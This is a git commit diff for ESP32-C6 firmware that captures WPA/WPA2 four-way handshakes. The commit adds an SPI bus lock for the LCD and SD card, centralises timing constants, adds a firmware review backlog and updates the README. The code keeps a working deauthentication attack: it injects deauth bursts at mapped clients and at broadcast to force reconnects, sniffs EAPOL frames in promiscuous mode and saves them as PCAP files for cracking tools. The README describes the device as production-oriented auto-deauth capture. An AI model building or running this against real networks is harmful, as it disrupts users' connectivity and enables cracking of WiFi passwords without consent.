handshake-capture-c6: SPI bus lock, SD v1.0.2 diagnostics, MUST_DO review
- SPI_Bus_Lock: serialize LCD + SD on shared SPI; pause display during SD - SD_Init after WiFi scan; SD_IsReady gating; serial [SD]/[CAP] diagnostics - MUST_DO_IMPROVEMENTS.md full firmware review backlog; README link - Bump HANDSHAKE_FIRMWARE_VERSION to 1.0.2 (header) Made-with: Cursor
This commit is contained in:
@@ -1,46 +1,56 @@
|
||||
#include "Display_ST7789.h"
|
||||
#include "SPI_Bus_Lock.h"
|
||||
|
||||
#define SPI_WRITE(_dat) SPI.transfer(_dat)
|
||||
#define SPI_WRITE_Word(_dat) SPI.transfer16(_dat)
|
||||
|
||||
void SPI_Init() {
|
||||
SPIBus_Init();
|
||||
SPI.begin(EXAMPLE_PIN_NUM_SCLK, EXAMPLE_PIN_NUM_MISO, EXAMPLE_PIN_NUM_MOSI);
|
||||
}
|
||||
|
||||
void LCD_WriteCommand(uint8_t Cmd) {
|
||||
SPIBus_Lock();
|
||||
SPI.beginTransaction(SPISettings(SPIFreq, MSBFIRST, SPI_MODE0));
|
||||
digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, LOW);
|
||||
digitalWrite(EXAMPLE_PIN_NUM_LCD_DC, LOW);
|
||||
SPI_WRITE(Cmd);
|
||||
digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, HIGH);
|
||||
SPI.endTransaction();
|
||||
SPIBus_Unlock();
|
||||
}
|
||||
|
||||
void LCD_WriteData(uint8_t Data) {
|
||||
SPIBus_Lock();
|
||||
SPI.beginTransaction(SPISettings(SPIFreq, MSBFIRST, SPI_MODE0));
|
||||
digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, LOW);
|
||||
digitalWrite(EXAMPLE_PIN_NUM_LCD_DC, HIGH);
|
||||
SPI_WRITE(Data);
|
||||
digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, HIGH);
|
||||
SPI.endTransaction();
|
||||
SPIBus_Unlock();
|
||||
}
|
||||
|
||||
void LCD_WriteData_Word(uint16_t Data) {
|
||||
SPIBus_Lock();
|
||||
SPI.beginTransaction(SPISettings(SPIFreq, MSBFIRST, SPI_MODE0));
|
||||
digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, LOW);
|
||||
digitalWrite(EXAMPLE_PIN_NUM_LCD_DC, HIGH);
|
||||
SPI_WRITE_Word(Data);
|
||||
digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, HIGH);
|
||||
SPI.endTransaction();
|
||||
SPIBus_Unlock();
|
||||
}
|
||||
|
||||
void LCD_WriteData_nbyte(uint8_t* SetData, uint8_t* ReadData, uint32_t Size) {
|
||||
SPIBus_Lock();
|
||||
SPI.beginTransaction(SPISettings(SPIFreq, MSBFIRST, SPI_MODE0));
|
||||
digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, LOW);
|
||||
digitalWrite(EXAMPLE_PIN_NUM_LCD_DC, HIGH);
|
||||
SPI.transferBytes(SetData, ReadData, Size);
|
||||
digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, HIGH);
|
||||
SPI.endTransaction();
|
||||
SPIBus_Unlock();
|
||||
}
|
||||
|
||||
void LCD_Reset(void) {
|
||||
@@ -158,11 +168,13 @@ void LCD_SetCursor(uint16_t Xstart, uint16_t Ystart, uint16_t Xend, uint16_t Yen
|
||||
}
|
||||
|
||||
void LCD_addWindow(uint16_t Xstart, uint16_t Ystart, uint16_t Xend, uint16_t Yend, uint16_t* color) {
|
||||
SPIBus_Lock();
|
||||
uint16_t Show_Width = Xend - Xstart + 1;
|
||||
uint16_t Show_Height = Yend - Ystart + 1;
|
||||
uint32_t numBytes = Show_Width * Show_Height * sizeof(uint16_t);
|
||||
LCD_SetCursor(Xstart, Ystart, Xend, Yend);
|
||||
LCD_WriteData_nbyte((uint8_t*)color, nullptr, numBytes);
|
||||
SPIBus_Unlock();
|
||||
}
|
||||
|
||||
void Backlight_Init(void) {
|
||||
|
||||
@@ -4,11 +4,6 @@
|
||||
#include <algorithm>
|
||||
#include <cstring>
|
||||
|
||||
// Set 0 to use STA-only (test deauth + promiscuous on your core first).
|
||||
#ifndef USE_SOFTAP
|
||||
#define USE_SOFTAP 1
|
||||
#endif
|
||||
|
||||
// ─── Internal prototypes ───
|
||||
|
||||
static void promiscuousRxCallback(void* buf, wifi_promiscuous_pkt_type_t type);
|
||||
@@ -33,18 +28,10 @@ CapturePhase capturePhase = PHASE_OBSERVING;
|
||||
|
||||
// ─── Phase timing ───
|
||||
|
||||
// Longer windows: handshakes often arrive a few seconds after deauth; sweep all BSSIDs over time.
|
||||
#define OBSERVE_DURATION_MS 8000
|
||||
#define CAPTURE_TIMEOUT_MS 20000
|
||||
#define DEAUTH_BURST_COUNT 5
|
||||
#define DEAUTH_BURST_DELAY 2 // ms between frames in a burst
|
||||
#define MAX_OBSERVE_CYCLES 5 // observe→deauth→capture rounds per channel visit
|
||||
#define DEAUTH_GAP_AFTER_CLIENT_MS 80 // RX window between client bursts
|
||||
#define DEAUTH_GAP_AFTER_SLOT_MS 120 // RX window between AP slots
|
||||
// EAPOL frames from the same slot/session append to one buffer across cycles (same AP visit).
|
||||
|
||||
static unsigned long phase_timer = 0;
|
||||
// Counts completed observe windows that led to a deauth burst (1..MAX_OBSERVE_CYCLES).
|
||||
// Counts completed observe windows that led to a deauth burst (1..HANDSHAKE_MAX_OBSERVE_CYCLES).
|
||||
static uint8_t deauth_cycle_count = 0;
|
||||
static int last_channel = 0;
|
||||
|
||||
@@ -146,7 +133,7 @@ void handshakeCaptureProcessPending() {
|
||||
SD_Init();
|
||||
}
|
||||
if (!SD_IsReady()) {
|
||||
Serial.println("SD not ready — discarding pending PCAP");
|
||||
HANDSHAKE_LOGLN("SD not ready — discarding pending PCAP");
|
||||
Ui_SetWifiStatus("SD: insert card");
|
||||
discardSlotCapture(s, i);
|
||||
continue;
|
||||
@@ -162,21 +149,13 @@ void handshakeCaptureProcessPending() {
|
||||
filename.replace(" ", "_");
|
||||
sanitizeFilenameForFat(filename);
|
||||
|
||||
File file = SD.open(filename.c_str(), FILE_WRITE);
|
||||
bool ok = false;
|
||||
if (file) {
|
||||
if (file.write(s->pcap_buffer, s->pcap_size) == s->pcap_size) {
|
||||
Serial.printf("Saved 4-way %s (%d bytes)\n", filename.c_str(), (int)s->pcap_size);
|
||||
Ui_SetWifiStatus("4-way saved!");
|
||||
ok = true;
|
||||
} else {
|
||||
Serial.println("SD write failed — discarding buffer");
|
||||
Ui_SetWifiStatus("SD write err");
|
||||
}
|
||||
file.close();
|
||||
bool ok = SD_WriteFileAtomic(filename.c_str(), s->pcap_buffer, s->pcap_size);
|
||||
if (ok) {
|
||||
HANDSHAKE_LOGF("Saved 4-way %s (%d bytes)\n", filename.c_str(), (int)s->pcap_size);
|
||||
Ui_SetWifiStatus("4-way saved!");
|
||||
} else {
|
||||
Serial.println("SD open failed — discarding buffer");
|
||||
Ui_SetWifiStatus("SD open err");
|
||||
HANDSHAKE_LOGLN("SD save failed — discarding buffer");
|
||||
Ui_SetWifiStatus("SD save err");
|
||||
}
|
||||
|
||||
if (ok) {
|
||||
@@ -236,14 +215,22 @@ bool compareRSSI(const WifiNetwork& a, const WifiNetwork& b) {
|
||||
return a.rssi > b.rssi;
|
||||
}
|
||||
|
||||
bool isCaptureable(int index) {
|
||||
if (index < 0 || index >= MAX_NETWORKS || networks[index].ssid.isEmpty()) return false;
|
||||
const String& enc = networks[index].encryption;
|
||||
bool isSupportedCaptureAuth(const String& enc) {
|
||||
if (enc == "WPA" || enc == "WPA2" || enc == "WPA/WPA2") return true;
|
||||
if (enc == "WPA3" || enc == "WPA2/WPA3") return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
bool isSupportedCaptureChannel(int channel) {
|
||||
return channel >= HANDSHAKE_MIN_CHANNEL && channel <= HANDSHAKE_MAX_CHANNEL;
|
||||
}
|
||||
|
||||
bool isCaptureable(int index) {
|
||||
if (index < 0 || index >= MAX_NETWORKS || networks[index].ssid.isEmpty()) return false;
|
||||
return isSupportedCaptureAuth(networks[index].encryption) &&
|
||||
isSupportedCaptureChannel(networks[index].ch);
|
||||
}
|
||||
|
||||
int getCaptureableCount() {
|
||||
int n = 0;
|
||||
for (int i = 0; i < MAX_NETWORKS; i++) {
|
||||
@@ -254,19 +241,23 @@ int getCaptureableCount() {
|
||||
}
|
||||
|
||||
static int getNextChannelSweep() {
|
||||
int ch_counts[15] = {0};
|
||||
int ch_counts[HANDSHAKE_MAX_CHANNEL + 1] = {0};
|
||||
for (int i = 0; i < MAX_NETWORKS; i++) {
|
||||
if (networks[i].ssid.isEmpty()) break;
|
||||
if (networks[i].handshake_captured || !isCaptureable(i)) continue;
|
||||
int ch = networks[i].ch;
|
||||
if (ch >= 1 && ch <= 14) ch_counts[ch - 1]++;
|
||||
if (isSupportedCaptureChannel(ch)) ch_counts[ch]++;
|
||||
}
|
||||
|
||||
// Simple circular sweep across channels that still have targets.
|
||||
int start = last_channel;
|
||||
for (int step = 0; step < 14; step++) {
|
||||
int ch = ((start + step) % 14) + 1;
|
||||
if (ch_counts[ch - 1] > 0) return ch;
|
||||
const int channel_count = HANDSHAKE_MAX_CHANNEL - HANDSHAKE_MIN_CHANNEL + 1;
|
||||
int start_index = 0;
|
||||
if (isSupportedCaptureChannel(last_channel)) {
|
||||
start_index = (last_channel - HANDSHAKE_MIN_CHANNEL + 1) % channel_count;
|
||||
}
|
||||
for (int step = 0; step < channel_count; step++) {
|
||||
int ch = HANDSHAKE_MIN_CHANNEL + ((start_index + step) % channel_count);
|
||||
if (ch_counts[ch] > 0) return ch;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
@@ -396,9 +387,9 @@ static void sendDeauthToClient(const uint8_t* bssid, const uint8_t* client_mac)
|
||||
memcpy(&deauth[10], bssid, 6);
|
||||
memcpy(&deauth[16], bssid, 6);
|
||||
|
||||
for (int i = 0; i < DEAUTH_BURST_COUNT; i++) {
|
||||
for (int i = 0; i < HANDSHAKE_DEAUTH_BURST_COUNT; i++) {
|
||||
esp_wifi_80211_tx(WIFI_IF_STA, deauth, sizeof(deauth), false);
|
||||
if (i < DEAUTH_BURST_COUNT - 1) delay(DEAUTH_BURST_DELAY);
|
||||
if (i < HANDSHAKE_DEAUTH_BURST_COUNT - 1) delay(HANDSHAKE_DEAUTH_BURST_DELAY_MS);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -408,17 +399,17 @@ static void sendDeauthBurstAll() {
|
||||
if (!s->active) continue;
|
||||
|
||||
if (s->client_count > 0) {
|
||||
Serial.printf("[%s] deauth -> %d client(s)\n", s->ssid, s->client_count);
|
||||
HANDSHAKE_LOGF("[%s] deauth -> %d client(s)\n", s->ssid, s->client_count);
|
||||
for (uint8_t c = 0; c < s->client_count; c++) {
|
||||
sendDeauthToClient(s->bssid, s->clients[c].mac);
|
||||
if (c + 1 < s->client_count) delay(DEAUTH_GAP_AFTER_CLIENT_MS);
|
||||
if (c + 1 < s->client_count) delay(HANDSHAKE_DEAUTH_GAP_AFTER_CLIENT_MS);
|
||||
}
|
||||
} else {
|
||||
Serial.printf("[%s] deauth -> broadcast (no clients mapped)\n", s->ssid);
|
||||
HANDSHAKE_LOGF("[%s] deauth -> broadcast (no clients mapped)\n", s->ssid);
|
||||
uint8_t bcast[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
|
||||
sendDeauthToClient(s->bssid, bcast);
|
||||
}
|
||||
delay(DEAUTH_GAP_AFTER_SLOT_MS);
|
||||
delay(HANDSHAKE_DEAUTH_GAP_AFTER_SLOT_MS);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -460,7 +451,7 @@ void startMultiCapture() {
|
||||
for (int k = 0; k < MAX_SLOTS; k++) latest_eapol_count[k] = 0;
|
||||
esp_wifi_set_channel(current_channel, WIFI_SECOND_CHAN_NONE);
|
||||
|
||||
Serial.printf("Phase 2: observing ch %d (%d target(s))\n", current_channel, filled);
|
||||
HANDSHAKE_LOGF("Phase 2: observing ch %d (%d target(s))\n", current_channel, filled);
|
||||
}
|
||||
|
||||
void stopCapture() {
|
||||
@@ -488,31 +479,31 @@ void handshakeCaptureLoop() {
|
||||
|
||||
// Phase 2 → Phase 3 (transient burst) → Phase 4
|
||||
if (capturePhase == PHASE_OBSERVING) {
|
||||
if (now - phase_timer >= OBSERVE_DURATION_MS) {
|
||||
if (now - phase_timer >= HANDSHAKE_OBSERVE_DURATION_MS) {
|
||||
int total = 0;
|
||||
for (int i = 0; i < MAX_SLOTS; i++) {
|
||||
if (slots[i].active) {
|
||||
Serial.printf(" [%s] %d client(s)\n", slots[i].ssid, slots[i].client_count);
|
||||
HANDSHAKE_LOGF(" [%s] %d client(s)\n", slots[i].ssid, slots[i].client_count);
|
||||
total += slots[i].client_count;
|
||||
}
|
||||
}
|
||||
Serial.printf("Observation done: %d client(s). Sending deauth burst.\n", total);
|
||||
HANDSHAKE_LOGF("Observation done: %d client(s). Sending deauth burst.\n", total);
|
||||
|
||||
sendDeauthBurstAll();
|
||||
|
||||
capturePhase = PHASE_CAPTURING;
|
||||
phase_timer = now;
|
||||
deauth_cycle_count++;
|
||||
Serial.println("Phase 4: capturing handshakes...");
|
||||
HANDSHAKE_LOGLN("Phase 4: capturing handshakes...");
|
||||
}
|
||||
}
|
||||
|
||||
// Phase 4 timeout → re-observe, or end session after MAX_OBSERVE_CYCLES deauth bursts
|
||||
if (capturePhase == PHASE_CAPTURING) {
|
||||
if (now - phase_timer >= CAPTURE_TIMEOUT_MS) {
|
||||
if (deauth_cycle_count < MAX_OBSERVE_CYCLES) {
|
||||
Serial.printf("Capture timeout. Re-observing (cycle %d/%d)...\n",
|
||||
(int)deauth_cycle_count + 1, MAX_OBSERVE_CYCLES);
|
||||
if (now - phase_timer >= HANDSHAKE_CAPTURE_TIMEOUT_MS) {
|
||||
if (deauth_cycle_count < HANDSHAKE_MAX_OBSERVE_CYCLES) {
|
||||
HANDSHAKE_LOGF("Capture timeout. Re-observing (cycle %d/%d)...\n",
|
||||
(int)deauth_cycle_count + 1, HANDSHAKE_MAX_OBSERVE_CYCLES);
|
||||
portENTER_CRITICAL(&capture_mux);
|
||||
for (int i = 0; i < MAX_SLOTS; i++) {
|
||||
if (slots[i].active) slots[i].client_count = 0;
|
||||
@@ -522,7 +513,7 @@ void handshakeCaptureLoop() {
|
||||
capturePhase = PHASE_OBSERVING;
|
||||
phase_timer = now;
|
||||
} else {
|
||||
Serial.println("Max observe/deauth cycles done; stopping capture on this channel.");
|
||||
HANDSHAKE_LOGLN("Max observe/deauth cycles done; stopping capture on this channel.");
|
||||
stopCapture();
|
||||
}
|
||||
}
|
||||
@@ -639,7 +630,7 @@ static void promiscuousRxCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
|
||||
}
|
||||
|
||||
if (is_eapol) {
|
||||
if (pcapAppendSlot(s, payload, len)) {
|
||||
if (s->eapol_count < HANDSHAKE_EAPOL_FRAMES && pcapAppendSlot(s, payload, len)) {
|
||||
s->eapol_count++;
|
||||
latest_eapol_count[hit_slot] = s->eapol_count;
|
||||
if (s->eapol_count >= HANDSHAKE_EAPOL_FRAMES) {
|
||||
|
||||
@@ -6,9 +6,36 @@
|
||||
#include <SD.h>
|
||||
|
||||
/** Semantic version (Serial banner + support). */
|
||||
#define HANDSHAKE_FIRMWARE_VERSION "1.0.1"
|
||||
#define HANDSHAKE_FIRMWARE_VERSION "1.0.3"
|
||||
|
||||
/** SD write only after this many EAPOL-Key frames (full WPA/WPA2 4-way). */
|
||||
#ifndef HANDSHAKE_DEBUG
|
||||
#define HANDSHAKE_DEBUG 0
|
||||
#endif
|
||||
|
||||
#ifndef USE_SOFTAP
|
||||
#define USE_SOFTAP 0
|
||||
#endif
|
||||
|
||||
#define HANDSHAKE_MIN_CHANNEL 1
|
||||
#define HANDSHAKE_MAX_CHANNEL 14
|
||||
#define HANDSHAKE_OBSERVE_DURATION_MS 8000UL
|
||||
#define HANDSHAKE_CAPTURE_TIMEOUT_MS 20000UL
|
||||
#define HANDSHAKE_CHANNEL_TIMEOUT_MS 150000UL
|
||||
#define HANDSHAKE_DEAUTH_BURST_COUNT 5
|
||||
#define HANDSHAKE_DEAUTH_BURST_DELAY_MS 2
|
||||
#define HANDSHAKE_MAX_OBSERVE_CYCLES 5
|
||||
#define HANDSHAKE_DEAUTH_GAP_AFTER_CLIENT_MS 80
|
||||
#define HANDSHAKE_DEAUTH_GAP_AFTER_SLOT_MS 120
|
||||
|
||||
#if HANDSHAKE_DEBUG
|
||||
#define HANDSHAKE_LOGF(...) Serial.printf(__VA_ARGS__)
|
||||
#define HANDSHAKE_LOGLN(msg) Serial.println(msg)
|
||||
#else
|
||||
#define HANDSHAKE_LOGF(...) do { } while (0)
|
||||
#define HANDSHAKE_LOGLN(msg) do { } while (0)
|
||||
#endif
|
||||
|
||||
/** Heuristic threshold only; frames are not validated as distinct 4-way steps. */
|
||||
#define HANDSHAKE_EAPOL_FRAMES 4
|
||||
|
||||
// Two APs at once: less on-air contention, more time per target before rotating.
|
||||
@@ -82,6 +109,8 @@ bool wasBssidCaptured(const uint8_t* bssid);
|
||||
void scanNetworksSortedByRSSI();
|
||||
void startMultiCapture();
|
||||
void stopCapture();
|
||||
bool isSupportedCaptureAuth(const String& encryption);
|
||||
bool isSupportedCaptureChannel(int channel);
|
||||
bool isCaptureable(int index);
|
||||
void handshakeCaptureLoop();
|
||||
int getCaptureableCount();
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
#include "LVGL_Driver.h"
|
||||
#include "SPI_Bus_Lock.h"
|
||||
|
||||
static lv_disp_draw_buf_t draw_buf;
|
||||
static lv_color_t buf1[LVGL_BUF_LEN];
|
||||
@@ -187,5 +188,6 @@ void Lvgl_Init(void) {
|
||||
}
|
||||
|
||||
void Timer_Loop(void) {
|
||||
if (SPIBus_IsDisplayPaused()) return;
|
||||
lv_timer_handler();
|
||||
}
|
||||
|
||||
97
handshake-capture-c6/MUST_DO_IMPROVEMENTS.md
Normal file
97
handshake-capture-c6/MUST_DO_IMPROVEMENTS.md
Normal file
@@ -0,0 +1,97 @@
|
||||
# Must-do improvements (firmware review)
|
||||
|
||||
Full pass over `handshake-capture-c6`: capture logic, SD, UI, display SPI, and main loop. Items below are **simple in concept** (some need careful implementation). Ordered by **severity**.
|
||||
|
||||
---
|
||||
|
||||
## 1. **Serialize shared SPI (LCD + SD)** — *critical*
|
||||
|
||||
**What:** ST7789 and the SD card share `SPI` (MOSI/SCLK/MISO; separate CS). **LVGL** flushes the display from `Timer_Loop()` → `LCD_*` → SPI, while **`SD.open` / `write` / `close`** use the same bus.
|
||||
|
||||
**Risk:** Interleaved transactions corrupt SD I/O or garble a display frame → failed mounts, bogus PCAP writes, or rare crashes.
|
||||
|
||||
**Do:** Add a single **mutex** (e.g. `portMUX_TYPE` or FreeRTOS mutex) that **every** LCD SPI transfer and **every** SD filesystem call takes around the full operation (including `SD.begin` path if the core does SPI under the hood). Alternatively: **pause LVGL** (skip `lv_timer_handler` / block flush) for the duration of each SD block in `handshakeCaptureProcessPending()`.
|
||||
|
||||
**Files:** `Display_ST7789.cpp`, `SD_Card.cpp`, `handshake-capture-c6.ino` (or one small `spi_bus_lock.h` used by both).
|
||||
|
||||
---
|
||||
|
||||
## 2. **Cap or validate `eapol_count` semantics** — *high*
|
||||
|
||||
**What:** Any unencrypted EAPOL-shaped frame increments the counter. **Four frames ≠ guaranteed one valid 4-way** (could be duplicates, other STAs, or rekeys).
|
||||
|
||||
**Do (minimal):** Document the limitation in `README.md`. **Better (still small):** stop incrementing after `HANDSHAKE_EAPOL_FRAMES` (saves buffer space and makes UI honest). **Better later:** parse EAPOL Key Info / replay counter to count **distinct** steps of the handshake (more code).
|
||||
|
||||
**Files:** `HandshakeCapture.cpp` (promisc callback EAPOL branch).
|
||||
|
||||
---
|
||||
|
||||
## 3. **2.4 GHz–only channel sweep** — *high for real environments*
|
||||
|
||||
**What:** `getNextChannelSweep()` only considers channels **1–14**. Scan results on **5 GHz** (or 6 GHz, if ever reported) are never visited, so those BSSIDs are never captured.
|
||||
|
||||
**Do:** Either **exclude** non-2.4G networks from the UI / `isCaptureable` path with a clear status, or **extend** sweep to supported `WiFi.channel()` values for your core/regulatory config (larger change: channel hop rules, dwell time).
|
||||
|
||||
**Files:** `HandshakeCapture.cpp` (`getNextChannelSweep`, `startMultiCapture`).
|
||||
|
||||
---
|
||||
|
||||
## 4. **Production vs debug serial** — *medium*
|
||||
|
||||
**What:** `[SD]`, `[CAP]`, `[SETUP]` strings and deauth logs are useful on the bench but noisy and slightly slow in the field.
|
||||
|
||||
**Do:** Wrap verbose `Serial.printf` / `println` in `#ifdef HANDSHAKE_DEBUG` (or a build flag) default **off** for “release” builds; keep boot **version line** always.
|
||||
|
||||
**Files:** `SD_Card.cpp`, `HandshakeCapture.cpp`, `handshake-capture-c6.ino`.
|
||||
|
||||
---
|
||||
|
||||
## 5. **`USE_SOFTAP` default** — *medium*
|
||||
|
||||
**What:** `WiFi.mode(WIFI_AP_STA)` runs a soft AP **without** a clear use case in this sketch (capture is STA + promisc). Extra RF/channel behavior and attack surface.
|
||||
|
||||
**Do:** Default `#define USE_SOFTAP 0` unless you explicitly need AP mode; document how to enable for lab tests.
|
||||
|
||||
**Files:** `HandshakeCapture.cpp`, `README.md`.
|
||||
|
||||
---
|
||||
|
||||
## 6. **Long SD write vs watchdog / UI** — *medium*
|
||||
|
||||
**What:** Writing ~4 KB PCAP can block the main loop for tens of ms. LVGL stalls; on some configs the **task watchdog** could trip if SD is slow or the card hangs.
|
||||
|
||||
**Do:** After large `file.write`, optional `yield()`; if WDT issues appear, `esp_task_wdt_reset()` in the SD path **only** with measured care, or increase WDT timeout in `setup`. Prefer fixing SPI contention (#1) first.
|
||||
|
||||
**Files:** `HandshakeCapture.cpp` (`handshakeCaptureProcessPending`), `setup()`.
|
||||
|
||||
---
|
||||
|
||||
## 7. **Rescan invalidates “ready” list vs slots** — *low*
|
||||
|
||||
**What:** During capture, the network list is static. If user triggers rescan (or you add a button later), `network_index` in slots could desync from rebuilt `networks[]`.
|
||||
|
||||
**Do:** Today there is no mid-capture rescan from UI — **document** that. If rescan is added, **stop capture** first and clear slots.
|
||||
|
||||
**Files:** `README.md` / future UI code.
|
||||
|
||||
---
|
||||
|
||||
## 8. **Magic numbers centralization** — *low (maintainability)*
|
||||
|
||||
**What:** Timing (`OBSERVE_DURATION_MS`, `CAPTURE_TIMEOUT_MS`, …) and `CHANNEL_TIMEOUT_MS` in the `.ino` are related but defined in two places; easy to desync.
|
||||
|
||||
**Do:** Move all timing `#define`s to one header (e.g. `HandshakeCapture.h` or `capture_config.h`) and include from the sketch.
|
||||
|
||||
**Files:** `HandshakeCapture.cpp`, `handshake-capture-c6.ino`.
|
||||
|
||||
---
|
||||
|
||||
### Already in decent shape
|
||||
|
||||
- Spinlock around promiscuous vs main-loop slot state; SD I/O only on main loop.
|
||||
- `SD_IsReady()` vs flaky `cardType()` after WiFi; FAT filename sanitization; discard on failed save (no pending deadlock).
|
||||
- PCAP fixed buffer; append failure doesn’t increment EAPOL count.
|
||||
|
||||
---
|
||||
|
||||
*Add new items here as you close these; bump `HANDSHAKE_FIRMWARE_VERSION` when behavior changes.*
|
||||
@@ -4,15 +4,19 @@ Production-oriented WiFi 4-way handshake capture for Waveshare ESP32-C6-LCD-1.47
|
||||
|
||||
**Firmware version:** `HANDSHAKE_FIRMWARE_VERSION` in `HandshakeCapture.h` (also printed on serial at boot).
|
||||
|
||||
**Review backlog:** prioritized fixes from a full firmware pass → **`MUST_DO_IMPROVEMENTS.md`**.
|
||||
|
||||
## Features
|
||||
|
||||
- **SD required for capture:** No card, or open/write failure → pending PCAP is **discarded** and the slot freed (no infinite pending). Hot-insert: sketch retries `SD_Init()` before each capture round.
|
||||
- **SD storage:** Saves **only complete 4-way handshakes** as `.pcap` (LINKTYPE_IEEE802_11): `4way_<ssid>_<ms>_s<n>.pcap`. Filenames are **FAT-sanitized**. No PMKID-only or partial EAPOL dumps.
|
||||
- **Auto-deauth:** Bursts toward mapped clients to provoke a full 4-way.
|
||||
- **Display:** **Green** = pending, **red** = 4-way saved to SD.
|
||||
- **Display:** **Green** = targetable 2.4 GHz WPA/WPA2/WPA3 AP, **gray** = shown but skipped, **red** = 4-way saved to SD.
|
||||
- **No web UI:** Capture-only device.
|
||||
- **WPA / WPA2 / WPA3 PSK / mixed** (when the core reports them). Skips Open, WEP, WPA2-Enterprise.
|
||||
- **2.4 GHz only capture sweep:** channels `1-14` are targeted. Secure APs seen on `5/6 GHz` stay visible in the list but are marked `5G+` and skipped.
|
||||
- **BSSID cache:** Captured BSSIDs stay red across rescans.
|
||||
- **Shared SPI protection:** LCD flushes and SD filesystem calls now serialize on one bus lock; SD writes also pause LVGL updates for the duration of the transaction.
|
||||
|
||||
**Convert:** `hcxpcapngtool` / Wireshark / aircrack-ng expect PCAP with EAPOL-Key frames; a full 4-way is included in each saved file (plus one target beacon when available).
|
||||
|
||||
@@ -20,7 +24,8 @@ Production-oriented WiFi 4-way handshake capture for Waveshare ESP32-C6-LCD-1.47
|
||||
|
||||
- **Not mergeable across random reconnects:** EAPOL messages from *different* 4-way runs (different nonces / MIC context) usually **cannot** be stitched into one crackable handshake. Tools need a **coherent** set for that AP↔STA association attempt.
|
||||
- **Within one visit, frames can trickle in:** While tuned to a channel, the device keeps **one PCAP buffer per target AP**. If the client reconnects several times during the same session, **all EAPOL frames append** until either four are seen (then SD save) or the channel round ends without four (buffer dropped — no file).
|
||||
- **Fewer than four frames:** Some attacks (e.g. **PMKID in message 1**, or classic **M1+M2** with beacon) need fewer frames, but this firmware **only saves on four** so every file is a clean full 4-way for your earlier requirement.
|
||||
- **EAPOL counting is still heuristic:** The firmware saves after **four unencrypted EAPOL-shaped frames** for that AP buffer, then stops counting. It still does **not** validate distinct message numbers, replay counters, or rekeys.
|
||||
- **Fewer than four frames:** Some attacks (e.g. **PMKID in message 1**, or classic **M1+M2** with beacon) need fewer frames, but this firmware **only saves on four** so every file aims to be a clean full 4-way for your earlier requirement.
|
||||
|
||||
## Hardware
|
||||
|
||||
@@ -49,13 +54,16 @@ arduino-cli upload \
|
||||
|
||||
Use `arduino-cli board list` to find the correct port.
|
||||
|
||||
For bench builds, set `HANDSHAKE_DEBUG 1` in `HandshakeCapture.h` to restore verbose serial logs. `USE_SOFTAP` defaults to `0`; only turn it on for lab experiments where you explicitly want `WIFI_AP_STA`.
|
||||
|
||||
## Flow
|
||||
|
||||
1. Boot → scan → display networks (green)
|
||||
1. Boot → scan → display networks (`green` targetable, `gray` skipped)
|
||||
2. Channel sweep + **up to 2 WPA APs at a time** on that channel; **map clients → deauth burst → listen** (several rounds per visit)
|
||||
3. PCAP grows in RAM; **SD write only when 4 EAPOL-Key frames** are seen for that AP
|
||||
4. On save → mark red; **refill slots** with other networks on the same channel, then **next channel** until everyone captured or timed out
|
||||
5. If a visit ends without 4 EAPOL for an AP, that buffer is discarded (no partial PCAP); the next sweep can try again
|
||||
6. Mid-capture rescans are intentionally not exposed in the UI; if you add one later, stop capture first and clear active slots before rebuilding `networks[]`
|
||||
|
||||
## Production checklist
|
||||
|
||||
|
||||
@@ -1,30 +1,80 @@
|
||||
#include "SD_Card.h"
|
||||
#include "Display_ST7789.h"
|
||||
#include "HandshakeCapture.h"
|
||||
#include "SPI_Bus_Lock.h"
|
||||
|
||||
uint16_t SDCard_Size = 0;
|
||||
static bool g_sd_ready = false;
|
||||
static bool s_sd_vfs_was_open = false;
|
||||
|
||||
static void beginSDOperation() {
|
||||
SPIBus_SetDisplayPaused(true);
|
||||
SPIBus_Lock();
|
||||
}
|
||||
|
||||
static void endSDOperation() {
|
||||
SPIBus_Unlock();
|
||||
SPIBus_SetDisplayPaused(false);
|
||||
}
|
||||
|
||||
bool SD_IsReady() {
|
||||
return g_sd_ready;
|
||||
}
|
||||
|
||||
bool SD_Init() {
|
||||
beginSDOperation();
|
||||
g_sd_ready = false;
|
||||
pinMode(SD_CS, OUTPUT);
|
||||
digitalWrite(SD_CS, HIGH);
|
||||
// Shared SPI with ST7789: ensure display CS idle so SD sees a clean bus.
|
||||
digitalWrite(EXAMPLE_PIN_NUM_LCD_CS, HIGH);
|
||||
|
||||
if (s_sd_vfs_was_open) {
|
||||
SD.end();
|
||||
s_sd_vfs_was_open = false;
|
||||
HANDSHAKE_LOGLN("[SD] previous mount closed before re-begin");
|
||||
}
|
||||
|
||||
HANDSHAKE_LOGF("[SD] begin(cs=%d)...\n", SD_CS);
|
||||
if (!SD.begin(SD_CS, SPI)) {
|
||||
Serial.println("SD init failed");
|
||||
HANDSHAKE_LOGLN("[SD] FAIL: SD.begin() returned false");
|
||||
endSDOperation();
|
||||
return false;
|
||||
}
|
||||
uint8_t ct = (uint8_t)SD.cardType();
|
||||
HANDSHAKE_LOGF("[SD] cardType=%u (0=NONE)\n", (unsigned)ct);
|
||||
if (SD.cardType() == CARD_NONE) {
|
||||
Serial.println("No SD card");
|
||||
HANDSHAKE_LOGLN("[SD] FAIL: CARD_NONE after begin");
|
||||
SD.end();
|
||||
s_sd_vfs_was_open = false;
|
||||
endSDOperation();
|
||||
return false;
|
||||
}
|
||||
g_sd_ready = true;
|
||||
s_sd_vfs_was_open = true;
|
||||
SDCard_Size = SD.totalBytes() / (1024 * 1024);
|
||||
HANDSHAKE_LOGF("[SD] OK size=%u MiB ready=%d\n", (unsigned)SDCard_Size, (int)g_sd_ready);
|
||||
endSDOperation();
|
||||
return true;
|
||||
}
|
||||
|
||||
bool SD_WriteFileAtomic(const char* path, const uint8_t* data, size_t len) {
|
||||
